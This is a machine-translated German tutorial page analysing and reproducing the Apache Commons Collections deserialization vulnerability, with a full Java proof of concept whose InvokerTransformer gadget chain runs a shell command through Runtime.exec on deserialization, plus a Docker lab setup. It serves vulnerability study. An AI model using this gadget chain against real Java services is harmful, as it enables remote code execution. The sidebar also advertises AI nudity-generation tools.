Inhaltsverzeichnis
1.1 Status
1.2 Schwachstellenanalyse
Idee zur Ausnutzung von Sicherheitslücken:
1.3 Docker-Wiederauftauchen
Heim Betrieb und Instandhaltung Sicherheit So analysieren und reproduzieren Sie die Deserialisierungsschwachstelle in Apache Commons Collections

So analysieren und reproduzieren Sie die Deserialisierungsschwachstelle in Apache Commons Collections

May 14, 2023 pm 02:04 PM
collections commons

1.1 Status

Vollständige Schwachstellen-Mining-Bedingungsanalyse und Schwachstellenreproduktion.

1.2 Schwachstellenanalyse

Versionen mit Sicherheitslücken: Apache Commons Collections 3.2.1 oder niedriger, [JDK-Version: 1.7.0_80] Apache Maven 3.6.3.

POC-Kerncode:

package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),//                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);//        transformerChain.transform(null);//创建Map并绑定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//        //触发漏洞//        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();//        onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//将ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的数据流进行反序列化,验证ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();//    }//}}}
Nach dem Login kopieren

Idee zur Ausnutzung von Sicherheitslücken:

Transformer-Schnittstellenimplementierungsklasse-InvokerTransformer(), die jede Funktion aufrufen kann.

Um Runtime.getRuntime().exec(cmd) zu implementieren, müssen Sie den Transformer mehrmals aufrufen und das aktuelle Rückgabeergebnis als nächste Eingabeinformation verwenden.

Um Runtime.getRuntime() aufzurufen, betrachten Sie die ConstantTransformer-Klasse, die die Eingabeparameter direkt als Ausgabe verwenden kann.

ChainedTransformer Als Implementierungsklasse verwendet es für das empfangene Transformer-Array eine eigene Transformationsmethode (die Parameter werden vom Benutzer eingegeben), um das Transformer-Array-Objekt nacheinander zu verarbeiten und das Ergebnis als Eingabeparameter für das nächste zu verwenden wiederholter Anruf. Seine transform()-Methode kann die Sicherheitslücke auslösen.

Um den Deserialisierungspfad zu finden, d. h. die eingelesenen Daten werden deserialisiert und ausgeführt, suchen Sie dann nach dem Pfad, der die .transform()-Methode des ChainedTransformer-Objekts in umgekehrter Reihenfolge auslösen kann.

Die HashMap-Klasse kann Daten in Schlüssel-Wert-Paaren speichern, und die Methode put(key, value) kann Daten speichern.

Die Funktion der TransformedMap-Klasse besteht darin, Schlüssel-Wert-Paare zu speichern und in Transformationsobjekte umzuwandeln. Die decor()-Methode kann Schlüssel-Wert-Paare erstellen und die checkSetValue()-Methode löst die Anweisung this.valueTransformer.transform() aus . Suchen Sie in umgekehrter Reihenfolge, um checkSetValue() [1] aufzurufen, um this.valueTransformer zu einem ChainedTransformer-Objekt zu machen [2].

Für [2] kann die statische Methode decor() der TransformedMap-Klasse das Ziel erreichen.

Für [1] führt die setValue-Methode der MapEntry-Klasse der AbstractInputCheckedMapDecorator-Klasse this.parent.checkSetValue(value) aus, dann sollte this.parent auf das TransformedMap-Objekt [3] gesetzt werden.

Für [3], Vorwärtsanalyse dieses Codes im POC:

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
Nach dem Login kopieren

Untersuchungen zeigen, dass während des Ausführungsprozesses das TransformedMap-Objekt this.parent in der AbstractInputCheckedMapDecorator-Klasse viele Male zugewiesen wird und das Map.Entry-Objekt ebenfalls zurückgegeben, was für die Ausführung genau richtig ist. Die Methode setValue() löst die Sicherheitslücke aus.

Um die Vielseitigkeit zu verbessern, müssen wir einen Weg finden, die Schwachstelle beim Aufrufen der Deserialisierungsmethode auszulösen. Daher sollten wir nach einem Klassenobjekt suchen, das „Deserialisierung readObject() überschreiben“ und „setValue()“ der Map ausführt Klassenobjektvariable Gleichzeitig kann diese Variable Schlüsselwertdaten steuern. Die AnnotationInvocationHandler-Klasse erfüllt diese Anforderung [sie ruft setValue() für jeden Eintrag einer Mitgliedsvariablen vom Typ Map auf]. Die Funktion

Class.forName() dient zum Laden von Klassen.

Erneut analysieren, für [1], Vorwärtsanalyse des Kerncodes im POC:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();
Nach dem Login kopieren

Untersuchungen zeigen, dass der Ausführungsprozess die setValue-Methode der statischen MapEntry-Klasse ausführt und dazu die enterSet-Methode ausführt. parent=TransformedMap-Objekt, löst somit eine Sicherheitslücke aus.

Im Allgemeinen lautet die Idee für die Vorwärts-POC-Konstruktion: Erstellen Sie zuerst das ChainedTransformer-Objekt, erstellen Sie dann das Map-Objekt, speichern Sie dann das ChainedTransformer-Objekt mithilfe der TransformedMap-Klasseninstanz im Map-Klassenobjekt und rufen Sie dann die Initialisierung des Map-Klassenobjekts ab die Reflection-Methode Eine Instanz der AnnotationInvocationHandler-Klasse, um sie zu serialisieren.

1.3 Docker-Wiederauftauchen

Laden Sie das erstellte Docker-Image herunter, verwenden Sie den folgenden Befehl:

docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1
Nach dem Login kopieren

Legen Sie das LAN und die Container-IP fest, starten Sie den Container, Beispiel:

(1) Passen Sie das Netzwerk an

docker network create --subnet=192.168.10.1/24 testnet
Nach dem Login kopieren

(2) Starten Sie das Docker-Container

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash
Nach dem Login kopieren

Führen Sie im Container [Apache-Commons-Collections] den Befehl [java -jar commons-collections-3.1.jar] aus und die Datei [CommonsCollections3.1] wird generiert, wie unten gezeigt.

如何进行Apache Commons Collections反序列化漏洞分析与复现

Das obige ist der detaillierte Inhalt vonSo analysieren und reproduzieren Sie die Deserialisierungsschwachstelle in Apache Commons Collections. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

AI Hentai Generator

AI Hentai Generator

Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)
3 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Beste grafische Einstellungen
3 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. So reparieren Sie Audio, wenn Sie niemanden hören können
3 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: Wie man alles in Myrise freischaltet
4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Java verwendet die Funktion „frequenz()' der Klasse „Collections', um zu berechnen, wie oft ein bestimmtes Element in einer Sammlung vorkommt Java verwendet die Funktion „frequenz()' der Klasse „Collections', um zu berechnen, wie oft ein bestimmtes Element in einer Sammlung vorkommt Jul 24, 2023 pm 09:48 PM

Java verwendet die Funktion „frequenz()“ der Collections-Klasse, um die Anzahl der Vorkommen eines bestimmten Elements in einer Sammlung zu berechnen. In der Java-Programmierung ist die Collections-Klasse eine Dienstprogrammklasse, die viele statische Methoden zum Bearbeiten von Sammlungen enthält. Eine davon ist die Funktion „frequenz()“, die die Anzahl der Vorkommen eines bestimmten Elements in einer Sammlung zählt. Diese Funktion ist sehr einfach und benutzerfreundlich und bietet Java-Entwicklern Komfort und Flexibilität. Unten finden Sie einen Beispielcode, der die Verwendung zeigt

Java verwendet die Funktion „binarySearch()' der Klasse „Collections', um eine binäre Suche in einer geordneten Sammlung durchzuführen. Java verwendet die Funktion „binarySearch()' der Klasse „Collections', um eine binäre Suche in einer geordneten Sammlung durchzuführen. Jul 27, 2023 am 08:58 AM

Java verwendet die Funktion „binarySearch()“ der Klasse „Collections“, um eine binäre Suche in einer geordneten Sammlung durchzuführen. Die binäre Suche ist ein effizienter Algorithmus zum Auffinden bestimmter Elemente in einer geordneten Sammlung. In Java können wir die Funktion „binarySearch()“ der Klasse „Collections“ verwenden, um die binäre Suche zu implementieren. In diesem Artikel wird erläutert, wie Sie mit der Funktion „binarySearch()“ in einer geordneten Sammlung suchen, und es werden spezifische Codebeispiele bereitgestellt. Die Grundidee des binären Suchalgorithmus

Java verwendet die Funktion shuffle() der Collections-Klasse, um die Reihenfolge der Elemente in der Sammlung zu ändern. Java verwendet die Funktion shuffle() der Collections-Klasse, um die Reihenfolge der Elemente in der Sammlung zu ändern. Jul 24, 2023 pm 10:25 PM

Java verwendet die shuffle()-Funktion der Collections-Klasse, um die Reihenfolge der Elemente in der Sammlung zu unterbrechen. In der Programmiersprache Java ist die Collections-Klasse eine Toolklasse, die verschiedene statische Methoden zum Betreiben von Sammlungen bereitstellt. Eine davon ist die Funktion shuffle(), mit der sich die Reihenfolge der Elemente in einer Sammlung ändern lässt. Dieser Artikel zeigt die Verwendung dieser Funktion und stellt entsprechende Codebeispiele bereit. Zuerst müssen wir die Collections-Klasse in das Paket java.util importieren.

Java verwendet die Funktion sort() der Collections-Klasse, um Sammlungen zu sortieren Java verwendet die Funktion sort() der Collections-Klasse, um Sammlungen zu sortieren Jul 24, 2023 pm 05:01 PM

Java verwendet die Funktion sort() der Collections-Klasse, um Sammlungen zu sortieren. In Java müssen wir häufig Sammlungen sortieren. Die Collections-Klasse bietet eine sort()-Funktion, mit der Sammlungen einfach sortiert werden können. In diesem Artikel wird anhand von Codebeispielen erläutert, wie Sie die Funktion sort() der Collections-Klasse zum Sortieren von Sammlungen verwenden. Zuerst müssen wir das Paket java.util importieren, um die Collections-Klasse verwenden zu können. Kobold

Java verwendet die Funktion max() der Collections-Klasse, um den Maximalwert in der Sammlung abzurufen Java verwendet die Funktion max() der Collections-Klasse, um den Maximalwert in der Sammlung abzurufen Jul 24, 2023 am 10:41 AM

Java verwendet die Funktion max() der Collections-Klasse, um den Maximalwert in einer Sammlung zu ermitteln. Bei der Java-Programmierung müssen wir häufig den Maximalwert aus einer Sammlung ermitteln. Um diesen Prozess zu vereinfachen und die Lesbarkeit und Effizienz des Codes zu verbessern, stellt Java die Funktion max() der Collections-Klasse bereit. Diese Funktion hilft uns, den Maximalwert in der Menge leicht zu finden. In diesem Artikel wird die Verwendung der max()-Funktion der Collections-Klasse mit entsprechenden Codebeispielen vorgestellt. Slg

So verwenden Sie das Sammlungsmodul für erweiterte Datenstrukturoperationen in Python 2.x So verwenden Sie das Sammlungsmodul für erweiterte Datenstrukturoperationen in Python 2.x Jul 30, 2023 am 11:36 AM

Verwendung des Collections-Moduls für erweiterte Datenstrukturoperationen in Python 2.x Einführung: In der Standardbibliothek von Python stellt das Collections-Modul einige erweiterte Datenstrukturen bereit, die verschiedene Operationen erleichtern können. In diesem Artikel werden mehrere Datenstrukturen vorgestellt, die hauptsächlich vom Sammlungsmodul bereitgestellt werden, und relevante Codebeispiele gegeben. 1. CounterCounter ist ein einfaches und leistungsstarkes Zählertool, mit dem jedes Element in einem iterierbaren Objekt gezählt werden kann.

Beispielanalyse der Deserialisierungsschwachstelle in Apache Commons Collections Beispielanalyse der Deserialisierungsschwachstelle in Apache Commons Collections May 17, 2023 pm 03:10 PM

1. Einleitung Obwohl es im Internet viele Artikel gibt, die die Deserialisierungsanfälligkeit dieser Komponente analysieren, werde ich sie hier dennoch aufzeichnen. Dies ist schließlich von Bedeutung für die Entwicklung von Java-Deserialisierungsschwachstellen. Apache Commons Collections ist eine sehr häufig verwendete Toolbibliothek in der Java-Anwendungsentwicklung. Sie fügt viele leistungsstarke Datenstrukturen hinzu, vereinfacht die Entwicklung von Java-Anwendungen und ist für Java zu einem anerkannten Standard für die Verarbeitung von Sammlungsdaten geworden. Viele gängige Anwendungen wie Weblogic, WebSphere, Jboss, Jenkins usw. verwenden alle die Apache Commons Collections-Toolbibliothek. Wenn in der Toolbibliothek eine Deserialisierungsschwachstelle auftritt, ist dies der Fall

So verwenden Sie das Sammlungsmodul für erweiterte Datenstrukturoperationen in Python 3.x So verwenden Sie das Sammlungsmodul für erweiterte Datenstrukturoperationen in Python 3.x Jul 31, 2023 pm 05:44 PM

So verwenden Sie das Collections-Modul für erweiterte Datenstrukturoperationen in Python3.x. Einführung: Bei der Python-Programmierung ist es häufig erforderlich, verschiedene Datenstrukturen wie Listen, Wörterbücher usw. zu verarbeiten. In einigen spezifischen Szenarien benötigen wir jedoch möglicherweise erweiterte Datenstrukturen, um Daten besser organisieren und verwalten zu können. Glücklicherweise bietet das Sammlungsmodul von Python einige leistungsstarke Datenstrukturen, die uns helfen, Daten effizienter zu bearbeiten. In diesem Artikel werden Sammlungen vorgestellt

See all articles